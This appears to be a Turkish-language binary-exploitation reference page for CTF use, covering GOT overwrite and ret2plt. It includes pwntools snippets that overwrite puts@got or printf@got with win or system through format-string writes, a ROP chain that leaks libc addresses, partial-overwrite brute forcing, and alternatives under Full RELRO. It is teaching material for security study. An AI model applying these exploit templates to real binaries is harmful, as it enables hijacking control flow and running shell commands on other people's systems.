GOT Overwrite & ret2plt
arbitrary write difficulty: orta
Dinamik bağlanan binary’lerde kütüphane fonksiyonları PLT (Procedure Linkage Table) üzerinden çağrılır ve gerçek adresleri çalışma anında GOT (Global Offset Table) içine yazılır. GOT yazılabilirse (Partial RELRO), bir keyfi yazma ilkelini GOT girdisini ezerek kontrol akışına çevirebilirsiniz.
PLT / GOT akışı
Section titled “PLT / GOT akışı”call puts@plt → PLT stub: jmp [puts@got] → (ilk çağrı) resolver → puts@got = &puts_libc → (sonraki) doğrudan puts_libc
puts@GOT → gerçek puts adresiBunu system ile ez → sonraki puts("...") ≈ system("...")readelf -r ./chall | grep putsobjdump -d -j .plt ./chall | headpwndbg> gotpwndbg> x/gx &puts@gotFikir — overwrite
Section titled “Fikir — overwrite”1) Arbitrary write primitive (format %n, heap, overflow)2) puts@got = win veya printf@got = system3) Program puts/printf çağırır → win/systemArgüman kontrolü kritik: puts(buf) varsa ve buf=/bin/sh yapabiliyorsan puts@got → system ile shell doğar.
Metodoloji
Section titled “Metodoloji”-
RELRO kontrol — checksec : Full RELRO ise GOT yazılamaz; Partial ise devam.
-
Keyfi yazma ilkeli bul — format string ( %n ), heap/OOB yazma ya da uygun bir ROP mov [reg], reg gadget’ı.
-
Hedef GOT girdisini seç — sık çağrılan ve argümanı kontrol ettiğin bir fonksiyon ( printf , puts , free , exit , __stack_chk_fail bazen).
-
Yaz ve tetikle —
from pwn import *elf = context.binary = ELF('./chall')# format string:payload = fmtstr_payload(offset, { elf.got['puts']: elf.sym['win'] })# veya libc:# payload = fmtstr_payload(offset, { elf.got['printf']: libc.sym.system })io.sendline(payload) -
GDB doğrula — yazmadan önce/sonra x/gx puts@got ; tetik çağrısında $rip hedefte mi.
ret2plt — leak için
Section titled “ret2plt — leak için”ASLR altında libc adresini sızdırmak için PLT kullanılır:
rop = ROP(elf)rop.call('puts', [elf.got['puts']]) # puts@plt(puts@got)rop.call('main') # ikinci turpayload = flat({ offset: rop.chain() })# recv → u64 → libc.address = leak - libc.sym.putsBu, ret2libc stage-1’inin standart kalıbıdır.
Full RELRO iken alternatifler
Section titled “Full RELRO iken alternatifler”- Stack'te saved RIP / ROP (overflow veya format ile)- .fini_array / exit handlers (yazılabilirse)- __malloc_hook / __free_hook (eski glibc; modernde kaldırıldı/sertleşti)- _IO_FILE / FSOP vtable hijack (gelişmiş)- setcontext / pivotKısmi GOT overwrite
Section titled “Kısmi GOT overwrite”PIE/ASLR’da bazen yalnızca düşük 2 bayt ezilir (sayfa içi offset sabit kalabilir):
# Örnek fikir: puts → system aynı libc sayfasındaysaio.send(p16(system & 0xffff)) # yazma primitive'ine göreEntropy düşer; brute-force ile birleştirilebilir (fork sunucu).
Hızlı karar ağacı
Section titled “Hızlı karar ağacı”checksec RELRO?├─ Full → GOT yok; ROP / stack / hook / FSOP└─ Partial → arbitrary write var mı? ├─ evet → GOT → win/system; argüman kontrol et └─ hayır → önce ret2plt leak, sonra ret2libc/ROPpwndbg> gotpwndbg> x/gx (long)puts@gotpwndbg> break *winpwndbg> c